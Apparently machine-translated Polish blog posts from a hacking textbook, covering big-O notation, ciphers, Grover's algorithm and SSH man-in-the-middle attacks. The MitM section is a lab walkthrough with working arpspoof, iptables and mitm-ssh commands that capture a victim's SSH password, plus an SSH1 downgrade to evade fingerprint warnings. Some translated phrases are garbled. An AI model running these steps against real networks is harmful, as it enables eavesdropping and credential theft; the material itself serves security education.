Algorytmiczny czas pracy jest nieco inny niż czas działania programu. Ponieważ algorytm jest po prostu ideą, nie ma ograniczenia prędkości przetwarzania dla oceny algorytmu. Oznacza to, że wyrażenie algorytmiczny czas pracy w minutach lub sekundach jest bez znaczenia. Bez czynników takich jak szybkość procesora i architektura, ważnym nieznanym algorytmem jest wielkość wejściowa. Algorytm sortowania działający na 1000 elementów z pewnością zajmie więcej czasu niż ten sam algorytm sortowania działający na 10 elementach. Wielkość wejściowa jest ogólnie oznaczona przez n, a każdy krok atomowy może być wyrażony jako liczba. Czas działania prostego algorytmu, takiego jak poniższy, można wyrazić w n.

for(i = 1 to n) {

Do something;

Do another thing;

}

Do one last thing;

Ten algorytm wykonuje pętle n razy, za każdym razem wykonując dwie akcje, a następnie wykonuje jedną ostatnią czynność, więc złożoność czasowa tego algorytmu wynosiłaby 2n + 1. Bardziej złożony algorytm z dodatkową pętlą zagnieżdżoną dołączoną, pokazaną poniżej, miałby złożoność czasowa n2 + 2n + 1, ponieważ nowa akcja jest wykonywana n2 razy.

for(x = 1 to n) {

for(y = 1 to n) {

Do the new action;

}

}

for(i = 1 to n) {

Do something;

Do another thing;

}

Do one last thing;

Ale ten poziom szczegółowości dla złożoności czasu jest wciąż zbyt szczegółowy. Na przykład, gdy n staje się większe, względna różnica między 2n + 5 a 2n + 365 staje się coraz mniejsza. Jednakże, gdy n staje się większe, względna różnica między 2n2 + 5 a 2n + 5 staje się coraz większa. Ten typ uogólnionych trendów jest najważniejszy dla czasu działania algorytmu. Rozważ dwa algorytmy, jeden o złożoności czasowej 2n + 365, a drugi o 2n2 + 5. 2n2 + 5 algorytm przewyższy algorytm 2n + 365 dla małych wartości dla n. Ale dla n = 30 oba algorytmy działają jednakowo, a dla wszystkich n większych niż 30 algorytm 2n + 365 przewyższy algorytm 2n2 + 5. Ponieważ istnieje tylko 30 wartości dla n, w których algorytm 2n2 + 5 działa lepiej, ale nieskończona liczba wartości dla nin, które algorytm 2n + 365 działa lepiej, algorytm 2n + 365 jest ogólnie bardziej wydajny. Oznacza to, że ogólnie tempo wzrostu złożoności czasowej algorytmu w odniesieniu do wielkości wejściowej jest ważniejsze niż złożoność czasowa dla dowolnego ustalonego wejścia. Chociaż może to nie zawsze być prawdziwe w przypadku konkretnych aplikacji rzeczywistych, ten typ pomiaru wydajności algorytmu jest zazwyczaj prawdziwy, gdy uśrednia się go dla wszystkich możliwych zastosowań.

Powrót

20.10.2020

Notacja asymptotyczna

Notacja asymptotyczna jest sposobem wyrażania wydajności algorytmu. Nazywa się to asymptotycznym, ponieważ dotyczy zachowania algorytmu, gdy wielkość wejściowa zbliża się do asymptotycznego limitu nieskończoności. Wracając do przykładów algorytmu 2n + 365 i algorytmu 2n2 + 5, ustaliliśmy, że algorytm 2n + 365 jest generalnie bardziej wydajny, ponieważ podąża za trendem n, podczas gdy algorytm 2n2 + 5 podąża za ogólnym trendem n2. Oznacza to, że 2n + 365 jest ograniczona powyżej dodatnią wielokrotnością n dla wszystkich wystarczająco dużych n, a 2n2 + 5 jest ograniczona powyżej dodatnią wielokrotnością n2 dla wszystkich wystarczająco dużych n. Brzmi to trochę myląco, ale tak naprawdę oznacza to, że istnieje dodatnia stała dla wartości trendu i dolna granica na n, tak że wartość trendu pomnożona przez stałą zawsze będzie większa niż złożoność czasu dla wszystkich n większa niższa granica. Innymi słowy, 2n2 + 5 jest rzędu n2, a 2n + 365 jest rzędu n. Jest do tego wygodna notacja matematyczna, zwana notacją big-oh, która wygląda jak O(n2), aby opisać algorytm rzędu n2. Prostym sposobem na przekształcenie złożoności algorytmu w notację o dużej wartości jest po prostu spojrzenie na terminy wysokiego rzędu, ponieważ będą to terminy, które mają największe znaczenie, ponieważ n staje się wystarczająco duży. Algorytm o złożoności czasowej 3n4 + 43n3 + 763n + log n + 37 będzie w kolejności O (n4), a 54n7 + 23n4 + 4325 będzie O(n7).

Powrót

21.10.2020

Szyfrowanie symetryczne

Szyfry symetryczne to kryptosystemy, które używają tego samego klucza do szyfrowania i deszyfrowania wiadomości. Proces szyfrowania i deszyfrowania jest na ogół szybszy niż w przypadku szyfrowania asymetrycznego, ale dystrybucja klucza może być trudna. Te szyfry są zazwyczaj szyframi blokowymi lub szyframi strumieniowymi. Szyfr blokowy działa na blokach o stałym rozmiarze, zwykle 64 lub 128 bitów. Ten sam blok tekstu jawnego będzie zawsze szyfrowany do tego samego bloku tekstu zaszyfrowanego przy użyciu tego samego klucza. DES, Blowfish i AES (Rijndael) są szyframi blokowymi. Szyfrowanie strumieniowe generuje strumień bitów pseudolosowych, zwykle jeden bit lub bajt na raz. Nazywa się to strumieniem klucza i jest XORowany za pomocą zwykłego tekstu. Jest to przydatne do szyfrowania ciągłych strumieni danych. RC4 i LSFR są przykładami popularnych szyfrów strumieniowych. DES i AES to popularne szyfry blokowe. Konstrukcja szyfrów blokowych przemawia za wieloma przemyśleniami, aby były odporne na znane ataki kryptoanalityczne. Dwa pojęcia używane wielokrotnie w szyfrach blokowych to zamieszanie i rozproszenie. Zamieszanie odnosi się do metod używanych do ukrywania relacji między tekstem jawnym, tekstem zaszyfrowanym i kluczem. Oznacza to, że bity wyjściowe muszą obejmować pewną złożoną transformację klucza i zwykłego tekstu. Dyfuzja służy do rozprzestrzeniania wpływu bitów zwykłego tekstu i bitów klucza na jak najwięcej tekstu zaszyfrowanego. Szyfr produktu łączy obie te koncepcje, stosując wielokrotnie proste operacje. Zarówno DES, jak i AES są szyframi produktów. DES korzysta również z sieci Feistel. Jest używany w wielu szyfrach blokowych, aby zapewnić, że algorytm jest odwracalny. Zasadniczo każdy blok jest podzielony na dwie połowy, lewą (L) i prawą (R). Następnie, w jednej rundzie operacji, nowa lewa połowa (Li) jest ustawiona jako równa starej prawej połowie (Ri-1), a nowa prawa połowa (Ri) składa się ze starej lewej połowy (Li- 1) XOR z wyjściem funkcji używającej starej prawej połowy (Ri-1) i podklucza dla tej rundy (Ki). Zazwyczaj każda runda operacji ma oddzielny podklucz, który jest obliczany wcześniej. Wartości Li i Ri są następujące (symbol 01.png oznacza operację XOR) DES używa 16 rund operacji. Ta liczba była konkretnie wybrany do obrony przed różnicową kryptoanalizą. Jedyną znaną słabością DES jest rozmiar klucza. Ponieważ klucz ma tylko 56 bitów, cała przestrzeń klucza może być sprawdzona w wyczerpującym ataku brute-force w ciągu kilku tygodni na specjalistycznym sprzęcie. Triple-DES rozwiązuje ten problem za pomocą dwóch kluczy DES połączonych ze sobą, aby uzyskać łączny rozmiar klucza 112 bitów. Szyfrowanie odbywa się poprzez szyfrowanie bloku tekstu jawnego za pomocą pierwszego klucza, a następnie odszyfrowywanie za pomocą drugiego klucza, a następnie ponowne szyfrowanie za pomocą pierwszego klucza. Odszyfrowywanie odbywa się analogicznie, ale przełączane są operacje szyfrowania i deszyfrowania. Dodany rozmiar klucza sprawia, że wysiłek brutalnej siły staje się coraz trudniejszy. Większość szyfrów blokowych zgodnych ze standardami branżowymi jest odpornych na wszystkie znane formy kryptoanalizy, a rozmiary kluczy są zazwyczaj zbyt duże, aby można było przeprowadzić wyczerpujący atak siłowy. Jednak obliczenia kwantowe dają pewne interesujące możliwości, które są na ogół zawyżone.

Powrót

22.10.2020

Algorytm wyszukiwania kwantowego Lova Grovera

Obliczenia kwantowe dają obietnicę masowej równoległości. Komputer kwantowy może przechowywać wiele różnych stanów w superpozycji (która może być traktowana jako tablica) i wykonywać obliczenia na nich wszystkich jednocześnie. Jest to idealne rozwiązanie dla brutalnego wymuszania czegokolwiek, w tym szyfrów blokowych. Superpozycję można załadować każdym możliwym kluczem, a następnie operację szyfrowania można wykonać na wszystkich kluczach jednocześnie. Trudną częścią jest uzyskanie właściwej wartości z superpozycji. Komputery kwantowe są dziwne w tym, że kiedy patrzy się na superpozycję, cała rzecz odkształca się w pojedynczy stan. Niestety, ta dekoherencja jest początkowo losowa, a prawdopodobieństwo odkształcenia w każdym stanie superpozycji jest równe. Bez jakiegoś sposobu manipulowania prawdopodobieństwem stanów superpozycji, ten sam efekt można osiągnąć tylko przez zgadywanie kluczy. Na szczęście mężczyzna o imieniu Lov Grover wymyślił algorytm, który może manipulować szansami stanów superpozycji. Algorytm ten pozwala zwiększyć szanse na określony stan, podczas gdy inne zmniejszają się. Proces ten powtarza się kilka razy, aż odszyfrowanie superpozycji do pożądanego stanu jest prawie gwarantowane. To trwa około O?n kroków. Używając pewnych podstawowych umiejętności wykładniczych z matematyki, zauważysz, że to skutecznie zmniejsza połowę rozmiaru klucza w celu wyczerpującego ataku brute-force. Tak więc dla ultra paranoidalnego podwojenie rozmiaru klucza szyfru blokowego spowoduje, że będzie on odporny nawet na teoretyczne możliwości wyczerpującego ataku brute-force za pomocą komputera kwantowego.

Powrót

23.10.2020

Szyfrowanie asymetryczne

Szyfry asymetryczne używają dwóch kluczy: klucza publicznego i klucza prywatnego. Klucz publiczny jest upubliczniany, a klucz prywatny jest prywatny; stąd sprytne nazwy. Każda wiadomość zaszyfrowana kluczem publicznym może zostać odszyfrowana tylko za pomocą klucza prywatnego. Usuwa to problem dystrybucji klucza - klucze publiczne są publiczne, a za pomocą klucza publicznego można zaszyfrować wiadomość dla odpowiedniego klucza prywatnego. W przeciwieństwie do szyfrów symetrycznych, nie ma potrzeby przesyłania poza tajnym kanałem komunikacji tajnego klucza. Jednak szyfry asymetryczne wydają się być nieco wolniejsze niż szyfry symetryczne.

Powrót

24.10.2020

Szyfry hybrydowe

Hybrydowy kryptosystem czerpie to, co najlepsze z obu światów. Szyfr asymetryczny służy do wymiany losowo generowanego klucza, który jest używany do szyfrowania pozostałej komunikacji za pomocą szyfru symetrycznego. Zapewnia to szybkość i wydajność szyfru symetrycznego, rozwiązując dylemat bezpiecznej wymiany kluczy. Szyfry hybrydowe są używane przez większość nowoczesnych aplikacji kryptograficznych, takich jak SSL, SSH i PGP. Ponieważ większość aplikacji używa szyfrów, które są odporne na kryptoanalizę, atakowanie szyfru zwykle nie działa. Jeśli jednak osoba atakująca może przechwycić komunikację między obiema stronami i maskować się jako jedna lub druga, algorytm wymiany kluczy może zostać zaatakowany

Powrót

25.10.2020

Ataki typu "człowiek w środku"

Atak typu "człowiek w środku" (MitM) to sprytny sposób na obejście szyfrowania. Atakujący siedzi między dwiema stronami komunikującymi się, a każda ze stron wierzy, że komunikuje się z drugą stroną, ale obie komunikują się z atakującym. Po ustanowieniu szyfrowanego połączenia między dwiema stronami, generowany jest tajny klucz i przesyłany przy użyciu szyfru asymetrycznego. Zazwyczaj ten klucz jest używany do szyfrowania dalszej komunikacji między dwiema stronami. Ponieważ klucz jest bezpiecznie przesyłany, a późniejszy ruch jest zabezpieczony kluczem, cały ten ruch jest nieczytelny dla każdego potencjalnego atakującego, który wącha te pakiety. Jednak podczas ataku MitM partia A uważa, że komunikuje się z B, a partia B uważa, że komunikuje się z A, ale w rzeczywistości obie komunikują się z atakującym. Tak więc, gdy A negocjuje szyfrowane połączenie z B, A faktycznie otwiera szyfrowane połączenie z atakującym, co oznacza, że atakujący bezpiecznie komunikuje się z asymetrycznym szyfrem i uczy się tajnego klucza. Następnie atakujący musi po prostu otworzyć kolejne zaszyfrowane połączenie z B, a B uzna, że komunikuje się z A. Oznacza to, że atakujący faktycznie utrzymuje dwa oddzielne zaszyfrowane kanały komunikacyjne z dwoma oddzielnymi kluczami szyfrowania. Pakiety z A są szyfrowane za pomocą pierwszego klucza i wysyłane do atakującego, który A uważa, że jest w rzeczywistości B. Następnie atakujący odszyfrowuje te pakiety za pomocą pierwszego klucza i ponownie szyfruje je drugim kluczem. Następnie atakujący wysyła nowo zaszyfrowane pakiety do B, a B uważa, że te pakiety są faktycznie wysyłane przez A. Siedząc w środku i utrzymując dwa oddzielne klucze, atakujący może snifować a nawet modyfikować ruch między A i B bez żadnej z nich mądrzejszych. Po przekierowaniu ruchu za pomocą narzędzia do zatruwania pamięci podręcznej ARP, można użyć wielu narzędzi ataku SSH typu man-in-the-middle. Większość z nich to tylko modyfikacje istniejącego kodu źródłowego openssh. Jednym z godnych uwagi przykładów jest trafnie nazwany pakiet mitm-ssh autorstwa Claes Nyberg, który został dołączony do LiveCD. Wszystko to można zrobić za pomocą techniki przekierowania ARP z "Active Sniffing" w sekcji 0x444, a zmodyfikowany pakiet openssh trafnie nazwany mitmssh. Istnieją inne narzędzia, które to robią; jednak mitm-ssh Claesa Nyberga jest publicznie dostępny i najbardziej solidny. Pakiet źródłowy znajduje się na LiveCD w / usr / src / mitm-ssh i został już zbudowany i zainstalowany. Podczas uruchamiania akceptuje połączenia z danym portem, a następnie przekazuje te połączenia do rzeczywistego docelowego adresu IP docelowego serwera SSH. Z pomocą arpspoof do zatruwania pamięci podręcznych ARP, ruch do docelowego serwera SSH może zostać przekierowany do maszyny atakującego z uruchomionym mitm-ssh. Ponieważ ten program nasłuchuje na localhost, potrzebne są pewne reguły filtrowania IP, aby przekierować ruch. W poniższym przykładzie docelowym serwerem SSH jest 192.168.42.72. Po uruchomieniu mitm-ssh będzie nasłuchiwał na porcie 2222, więc nie musi być uruchamiany jako root. Polecenie iptables każe Linuksowi przekierować wszystkie przychodzące połączenia TCP na port 22 do localhost 2222, gdzie nasłuchuje mitm-ssh.

reader@hacking:~ $ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT

--to-ports 2222

reader@hacking:~ $ sudo iptables -t nat -L

Chain PREROUTING (policy ACCEPT)

target prot opt source destination

REDIRECT tcp -- anywhere anywhere tcp dpt:ssh redir ports 2222

Chain POSTROUTING (policy ACCEPT)

target prot opt source destination

Chain OUTPUT (policy ACCEPT)

target prot opt source destination

reader@hacking:~ $ mitm-ssh

..

/|\ SSH Man In The Middle [Based on OpenSSH_3.9p1]

_|_ By CMN < cmn@darklab.org >

Usage: mitm-ssh < non-nat-route > [option(s)]

Routes:

< host >[:< port >] - Static route to port on host

(for non NAT connections)

Options:

-v - Verbose output

-n - Do not attempt to resolve hostnames

-d - Debug, repeat to increase verbosity

-p port - Port to listen for connections on

-f configfile - Configuration file to read

Log Options:

-c logdir - Log data from client in directory

-s logdir - Log data from server in directory

-o file - Log passwords to file

reader@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222

Using static route to 192.168.42.72:22

SSH MITM Server listening on 0.0.0.0 port 2222.

Generating 768 bit RSA key.

RSA key generation complete.

Następnie w innym oknie terminala na tej samej maszynie, narzędzie arpspoof Dug Song jest używane do zatruwania pamięci podręcznych ARP i przekierowywania ruchu przeznaczonego na 192.168.42.72 do naszego komputera.

reader@hacking:~ $ arpspoof

Version: 2.3

Usage: arpspoof [-i interface] [-t target] host

reader@hacking:~ $ sudo arpspoof -i eth0 192.168.42.72

0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at 0:12:3f:7:39:9c

0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at 0:12:3f:7:39:9c

0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at 0:12:3f:7:39:9c

A teraz atak MitM jest skonfigurowany i gotowy dla następnej niczego nie podejrzewającej ofiary. Poniższe dane pochodzą z innej maszyny w sieci (192.168.42.250), co powoduje połączenie SSH z 192.168.42.72.

On Machine 192.168.42.250 (tetsuo), Łączenie z 192.168.42.72 (loki)

iz@tetsuo:~ $ ssh jose@192.168.42.72

The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.

RSA key fingerprint is 84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.42.72' (RSA) to the list of known hosts.

jose@192.168.42.72's password:

Last login: Mon Oct 1 06:32:37 2007 from 192.168.42.72

Linux loki 2.6.20-16-generic #2 SMP Thu Jun 7 20:19:32 UTC 2007 i686

jose@loki:~ $ ls -a

. .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Examples

jose@loki:~ $ id

uid=1001(jose) gid=1001(jose) groups=1001(jose)

jose@loki:~ $ exit

logout

Connection to 192.168.42.72 closed.

iz@tetsuo:~ $

Wszystko wydaje się w porządku, a połączenie wydaje się bezpieczne. Jednak połączenie zostało potajemnie przekierowane przez komputer atakującego, który użył osobnego szyfrowanego połączenia do serwera docelowego. Wracając do maszyny atakującego, wszystko o połączeniu zostało zarejestrowane.

Na maszynie atakującego

reader@hacking:~ $ sudo mitm-ssh 192.168.42.72 -v -n -p 2222

Using static route to 192.168.42.72:22

SSH MITM Server listening on 0.0.0.0 port 2222.

Generating 768 bit RSA key.

RSA key generation complete.

WARNING: /usr/local/etc/moduli does not exist, using fixed modulus

[MITM] Found real target 192.168.42.72:22 for NAT host 192.168.42.250:1929

[MITM] Routing SSH2 192.168.42.250:1929 -> 192.168.42.72:22

[2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22

SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt

[MITM] Connection from UNKNOWN:1929 closed

reader@hacking:~ $ ls /usr/local/var/log/mitm-ssh/

passwd.log

ssh2 192.168.42.250:1929 <- 192.168.42.72:22

ssh2 192.168.42.250:1929 -> 192.168.42.72:22

reader@hacking:~ $ cat /usr/local/var/log/mitm-ssh/passwd.log

[2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22

SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt

reader@hacking:~ $ cat /usr/local/var/log/mitm-ssh/ssh2*

Last login: Mon Oct 1 06:32:37 2007 from 192.168.42.72

Linux loki 2.6.20-16-generic #2 SMP Thu Jun 7 20:19:32 UTC 2007 i686

jose@loki:~ $ ls -a

. .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Examples

jose@loki:~ $ id

uid=1001(jose) gid=1001(jose) groups=1001(jose)

jose@loki:~ $ exit

logout

Na maszynie atakującego

Ponieważ uwierzytelnianie zostało faktycznie przekierowane, a maszyna atakującego działała jako serwer proxy, hasło sP # byp% srt mogło zostać wykryte. Ponadto dane przesyłane podczas połączenia są przechwytywane, pokazując atakującemu wszystko, co ofiara zrobiła podczas sesji SSH. Zdolność atakującego do maskowania się jako jedna ze stron sprawia, że ten typ ataku jest możliwy. SSL i SSH zostały zaprojektowane z myślą o tym i mają zabezpieczenia przed fałszowaniem tożsamości. SSL używa certyfikatów do sprawdzania tożsamości, a SSH używa odcisków palców hosta. Jeśli atakujący nie ma odpowiedniego certyfikatu lub odcisku palca dla B, gdy A próbuje otworzyć zaszyfrowany kanał komunikacji z atakującym, podpisy nie będą się zgadzać i A zostanie ostrzeżony ostrzeżeniem. W poprzednim przykładzie 192.168.42.250 (tetsuo) nigdy wcześniej nie komunikował się przez SSH z 192.168.42.72 (loki) i dlatego nie miał odcisku palca hosta. Odcisk palca hosta, który zaakceptował, był w rzeczywistości odciskiem palca wygenerowanym przez mitm-ssh. Gdyby jednak 192.168.42.250 (tetsuo) miał odcisk palca hosta dla 192.168.42.72 (loki), cały atak zostałby wykryty, a użytkownik otrzymałby bardzo rażące ostrzeżenie:

iz@tetsuo:~ $ ssh jose@192.168.42.72

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@

@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@

IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!

Someone could be eavesdropping on you right now (man-in-the-middle attack)!

It is also possible that the RSA host key has just been changed.

The fingerprint for the RSA key sent by the remote host is

84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c.

Please contact your system administrator.

Add correct host key in /home/jon/.ssh/known_hosts to get rid of this message.

Offending key in /home/jon/.ssh/known_hosts:1

RSA host key for 192.168.42.72 has changed and you have requested strict checking.

Host key verification failed.

iz@tetsuo:~ $

Klient openssh faktycznie uniemożliwi użytkownikowi łączenie się, dopóki stary odcisk palca hosta nie zostanie usunięty. Jednak wielu klientów SSH systemu Windows nie ma takiego samego rygorystycznego egzekwowania tych reguł i przedstawi użytkownikowi "Czy na pewno chcesz kontynuować?" Okno dialogowe. Nieświadomy użytkownik może po prostu kliknąć prawym przyciskiem myszy ostrzeżenie.

Powrót

26.10.2020

Różne odciski palców hosta protokołu SSH

Odciski palców hosta SSH mają kilka luk. Luki te zostały skompensowane w najnowszych wersjach openssh, ale nadal istnieją w starszych implementacjach. Zazwyczaj przy pierwszym połączeniu SSH z nowym hostem odcisk palca tego hosta jest dodawany do pliku known_hosts, jak pokazano tutaj:

jose@192.168.42.72's password: < ctrl-c >

iz@tetsuo:~ $ grep 192.168.42.72 ~/.ssh/known_hosts

192.168.42.72 ssh-rsa

AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aO
ijgkf7nZnH4LirNziH5upZmk4/

JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1
pwaSuNTahsBoKOKSaTUOW0RN/1t3G/

52KTzjtKGacX4gTLNSc8fzfZU=

iz@tetsuo:~ $

Istnieją jednak dwa różne protokoły SSH - SSH1 i SSH2 - każdy z oddzielnymi odciskami palców hosta.

iz@tetsuo:~ $ rm ~/.ssh/known_hosts

iz@tetsuo:~ $ ssh -1 jose@192.168.42.72

The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.

RSA1 key fingerprint is e7:c4:81:fe:38:bc:a8:03:f9:79:cd:16:e9:8f:43:55.

Are you sure you want to continue connecting (yes/no)? no

Host key verification failed.

iz@tetsuo:~ $ ssh -2 jose@192.168.42.72

The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.

RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.

Are you sure you want to continue connecting (yes/no)? no

Host key verification failed.

iz@tetsuo:~ $

Baner prezentowany przez serwer SSH opisuje, które protokoły SSH rozumie (pogrubione poniżej):

iz@tetsuo:~ $ telnet 192.168.42.72 22

Trying 192.168.42.72...

Connected to 192.168.42.72.

Escape character is '^]'.

SSH-1.99-OpenSSH_3.9p1

Connection closed by foreign host.

iz@tetsuo:~ $ telnet 192.168.42.1 22

Trying 192.168.42.1...

Connected to 192.168.42.1.

Escape character is '^]'.

SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1

Connection closed by foreign host.

iz@tetsuo:~ $

Baner z 192.168.42.72 (loki) zawiera ciąg SSH-1.99, który zgodnie z konwencją oznacza, że serwer mówi zarówno protokołami 1, jak i 2. Często serwer SSH będzie skonfigurowany z linią taką jak Protokół 2, który oznacza również, że serwer mówi obydwoma protokołami i próbuje użyć SSH2, jeśli to możliwe. Ma to na celu zachowanie zgodności z poprzednimi wersjami, więc klienci SSH1 nadal mogą się łączyć. Natomiast baner z 192.168.42.1 zawiera ciąg SSH-2.0, który pokazuje, że serwer mówi tylko protokołem 2. W tym przypadku oczywiste jest, że każdy klient łączący się z nim komunikował się tylko z SSH2 i dlatego ma tylko odciski palców dla hosta protokół 2. To samo dotyczy loki (192.168.42.72); jednak loki akceptuje również SSH1, który ma inny zestaw odcisków palców hosta. Jest mało prawdopodobne, że klient użyje SSH1 i dlatego nie ma jeszcze odcisków palców dla tego protokołu. Jeśli zmodyfikowany demon SSH używany do ataku MitM zmusza klienta do komunikacji przy użyciu innego protokołu, nie zostanie znaleziony odcisk palca hosta. Zamiast wyświetlać długie ostrzeżenie, użytkownik zostanie poproszony o dodanie nowego odcisku palca. Mitm-sshtool używa pliku konfiguracyjnego podobnego do pliku openssh, ponieważ jest zbudowany z tego kodu. Dodając linię Protokół 1 do / usr / local / etc / mitm-ssh_config, demon mitm-ssh będzie twierdził, że mówi tylko protokół SSH1. Poniższe dane pokazują, że serwer SSH loki zwykle mówi zarówno przy użyciu protokołów SSH1, jak i SSH2, ale gdy mitm-ssh jest umieszczany w środku przy użyciu nowego pliku konfiguracyjnego, fałszywy serwer twierdzi, że mówi tylko protokół SSH1

From 192.168.42.250 (tetsuo), Just an Innocent Machine on the Network

iz@tetsuo:~ $ telnet 192.168.42.72 22

Trying 192.168.42.72...

Connected to 192.168.42.72.

Escape character is '^]'.

SSH-1.99-OpenSSH_3.9p1

Connection closed by foreign host.

iz@tetsuo:~ $ rm ~/.ssh/known_hosts

iz@tetsuo:~ $ ssh jose@192.168.42.72

The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.

RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.42.72' (RSA) to the list of known hosts.

jose@192.168.42.72's password:

iz@tetsuo:~ $

Na maszynie atakującego, Konfigurowanie mitm-ssh do użycia tylko protokołu SSH1

reader@hacking:~ $ echo "Protocol 1" >> /usr/local/etc/mitm-ssh_config

reader@hacking:~ $ tail /usr/local/etc/mitm-ssh_config

# Where to store passwords

#PasswdLogFile /var/log/mitm-ssh/passwd.log

# Where to store data sent from client to server

#ClientToServerLogDir /var/log/mitm-ssh

# Where to store data sent from server to client

#ServerToClientLogDir /var/log/mitm-ssh

Protocol 1

reader@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222

Using static route to 192.168.42.72:22

SSH MITM Server listening on 0.0.0.0 port 2222.

Generating 768 bit RSA key.

RSA key generation complete.

7.5.2.3. Now Back on 192.168.42.250 (tetsuo)

iz@tetsuo:~ $ telnet 192.168.42.72 22

Trying 192.168.42.72...

Connected to 192.168.42.72.

Escape character is '^]'.

Connection closed by foreign host.

Zazwyczaj klienci tacy jak tetsuo łączący się z loki pod numerem 192.168.42.72 komunikowaliby się tylko przy użyciu SSH2. Dlatego na kliencie będzie przechowywany tylko odcisk palca hosta dla protokołu SSH 2. Gdy protokół 1 jest wymuszony atakiem MitM, odcisk palca atakującego nie zostanie porównany z zapisanym odciskiem palca ze względu na różne protokoły. Starsze implementacje po prostu proszą o dodanie tego odcisku palca, ponieważ technicznie nie istnieje odcisk palca hosta dla tego protokołu. Jest to pokazane na wyjściu poniżej.

iz@tetsuo:~ $ ssh jose@192.168.42.72

The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.

RSA1 key fingerprint is 45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6.

Are you sure you want to continue connecting (yes/no)?

Ponieważ luka ta została upubliczniona, nowsze implementacje OpenSSH mają nieco ostrzejsze ostrzeżenie:

iz@tetsuo:~ $ ssh jose@192.168.42.72

WARNING: RSA key found for host 192.168.42.72

in /home/iz/.ssh/known_hosts:1

RSA key fingerprint ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.

The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established

but keys of different type are already known for this host.

RSA1 key fingerprint is 45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6.

Are you sure you want to continue connecting (yes/no)?

To zmodyfikowane ostrzeżenie nie jest tak silne, jak ostrzeżenie, gdy nie są zgodne odciski palców hosta tego samego protokołu. Ponadto, ponieważ nie wszyscy klienci będą na bieżąco, ta technika może okazać się przydatna do ataku MitM

Powrót

27.10.2020

Rozmyte odciski palców

Konrad Rieck miał ciekawy pomysł na odciski palców hosta SSH. Często użytkownik łączy się z serwerem od kilku różnych klientów. Odcisk palca hosta będzie wyświetlany i dodawany przy każdym użyciu nowego klienta, a użytkownik dbający o bezpieczeństwo będzie miał tendencję do zapamiętywania ogólnej struktury odcisku palca hosta. Chociaż nikt nie zapamiętuje całego odcisku palca, główne zmiany można wykryć przy niewielkim wysiłku. Ogólne wyobrażenie o tym, jak wygląda odcisk palca hosta podczas łączenia się z nowego klienta, znacznie zwiększa bezpieczeństwo tego połączenia. Jeśli podejmie się próbę ataku MitM, rażącą różnicę w odciskach palców hosta można zwykle wykryć okiem. Jednak oko i mózg mogą zostać oszukane. Niektóre odciski palców będą wyglądać bardzo podobnie do innych. Cyfry 1 i 7 wyglądają bardzo podobnie, w zależności od czcionki wyświetlacza. Zwykle cyfry heksadecymalne znalezione na początku i końcu odcisku palca są zapamiętywane z największą jasnością, podczas gdy środkowe wydają się być nieco zamglone. Celem techniki rozmytego odcisku palca jest wygenerowanie klucza hosta z odciskami palców, które wyglądają podobnie do oryginalnego odcisku palca, aby oszukać ludzkie oko. Pakiet openssh zapewnia narzędzia do pobierania klucza hosta z serwerów.

reader@hacking:~ $ ssh-keyscan -t rsa 192.168.42.72 > loki.hostkey

# 192.168.42.72 SSH-1.99-OpenSSH_3.9p1

reader@hacking:~ $ cat loki.hostkey

192.168.42.72 ssh-rsa

AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNziH5upZmk4/

JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTahsBoKOKSaTUOW0RN/1t3G/

52KTzjtKGacX4gTLNSc8fzfZU=

reader@hacking:~ $ ssh-keygen -l -f loki.hostkey

1024 ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 192.168.42.72

reader@hacking:~ $

